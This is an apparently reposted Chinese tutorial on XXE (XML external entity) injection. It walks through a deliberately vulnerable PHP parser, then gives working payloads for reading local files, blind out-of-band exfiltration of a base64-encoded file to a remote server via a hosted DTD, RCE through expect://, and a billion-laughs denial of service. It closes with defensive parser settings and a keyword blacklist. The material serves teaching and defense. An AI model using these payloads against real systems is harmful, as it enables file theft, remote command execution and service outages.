XXE(XML外部实体注入)漏洞

news/2024/11/7 7:35:33/

如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它

什么是XXE

简单来说,XXE全称是——XML External Entity,就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

关于XML的语法 移步 → XML语法

实验一:有回显读本地敏感文件(Normal XXE)

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件

本地服务器上放上解析 XML 的 php 代码:

示例代码:

xml.php

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);echo $creds;?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

向我们的php文件POST数据,然后就会执行我们的xml文件
结果如下图所示
在这里插入图片描述

但是因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,那么我么要是换成下面这个文件呢?

如图所示:

在这里插入图片描述

试一下:
结果如下图:

在这里插入图片描述

可以看到,不但没有读到我们想要的文件,而且还给我们报了一堆错,怎么办?这个时候就要祭出我们的另一个神器了------CDATA 中文就是字符数据,xml文章中也介绍过

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者"
字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

<![CDATA[XXXXXXXXXXXXXXXXX]]>

可以输入任意字符除了 ]]> 并且不能嵌套使用!!
用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:

首先,找到问题出现的地方,问题出现在

...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 "<![CDATA["和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法

结果如下图:

在这里插入图片描述

注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在 DTD中拼接,我们知道我们只有一种选择,就是使用 参数实体

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

结果如下图:在这里插入图片描述

新的问题出现
但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带

新的解决方法
想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)

实验二:无回显读取本地敏感文件(Blind OOB XXE)

xml.php

<?phplibxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

我发现上面这段代码由于解析的问题将 send 前面的 HTML 实体转化成了 % ,虽然我在下面做出了一些解释,但是因为存在复制粘贴代码的行为,因此我决定还是在这里用图片的形式再次展示一下我的代码

在这里插入图片描述

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

结果如下:

在这里插入图片描述

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的思考:
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用:
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议

如图所示:
在这里插入图片描述

PHP在安装扩展以后还能支持的协议:

如图所示:
在这里插入图片描述

注意:

1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

利用 XXE 进行 DOS 攻击

示例代码:

<?xml version="1.0"?>
 <!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

XXE 如何防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

参考文章:
https://xz.aliyun.com/t/3357


http://www.ppmy.cn/news/777141.html

相关文章

【网络安全】JAVA代码审计—— XXE外部实体注入

一、WEB安全部分 想要了解XXE&#xff0c;在那之前需要了解XML的相关基础 二、XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档必须有根元素 XML属性值必须加引号 实体引用&#xff0c;在标签属性&#xff0c;以及对…

渗透测试中waf命令执行的绕过经验技巧

管道符 ;顺序执行&#xff0c;命令之间没有逻辑关系正常顺序执行&&逻辑与; 当命令1正确执行后&#xff0c;才会执行命令2。否则命令2不会执行两个命令都会执行||逻辑或; 当命令1不正确执行后&#xff0c;命令2才会执行。否则命令2不会执行mi会执行whom 其他特殊符号 …

现在如何注册台服服务器,《英雄联盟手游》台服账号注册教程 台服拳头账号注册步骤图解...

lol手游台服账号怎么注册&#xff1f;台服现在已经公测了&#xff0c;国服的玩家在也不用去其他地区服务器进行体验了&#xff0c;在中文大区内进行对局&#xff0c;体验起来的感觉绝对会比其他地方要好很多&#xff0c;不过目前很多小伙伴还没有账号。下面就为大家带来lol手游…

“深入探索Java的多线程编程技巧“

Java是一种支持多线程编程的语言&#xff0c;通过使用多线程可以实现并行处理和提高程序的性能。下面是一些深入探索Java多线程编程技巧的建议&#xff1a; 线程基础知识&#xff1a;了解Java线程的基本概念&#xff0c;包括线程的生命周期、创建和启动线程的方法、线程的状态等…

Go 语言配置SDK

问题&#xff1a;‘go‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件 的解决方案。&#xff08;window10版本下&#xff09; 该问题出现说明go环境变量失效了&#xff0c;解决办法需下载SDK重新配置环境变量&#xff0c;具体方法如下&#xff1a; 基本介绍&#xff1…

现在如何注册台服服务器,《英雄联盟手游》台服怎么注册账号 台服注册账号方法...

12月10日&#xff0c;也就是今天&#xff0c;英雄联盟手游不仅更新了新内容&#xff0c;还开放了包括台服在内的一大批服务器&#xff0c;虽然这次依旧没有国服&#xff0c;但是大家可以进入台服进行游戏&#xff0c;再也不用看英文或者日文了&#xff01; 一、登陆注册页面 PS…

XXE漏洞学习

1、XXE简介 XXE &#xff08;XML EXternal Entity&#xff09;即XML外部实体注入攻击&#xff0c;是一种常见的Web安全漏洞&#xff0c;发生在应用程序解析XML输入时&#xff0c;没有禁止外部实体的加载&#xff0c;导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数…

某游戏研究之字符过滤类-WorldFilter

所谓字符过滤器&#xff0c;常常用在聊天的内容&#xff0c;比如一连串的骂人难听的话&#xff0c;我们要屏蔽掉&#xff0c;避免造成不好的东西&#xff01; 当然我作为中华天朝一个有文明有素质的人&#xff0c;肯定偶尔会做这样的事情啦&#xff0c;特别是打LOL的时候&#…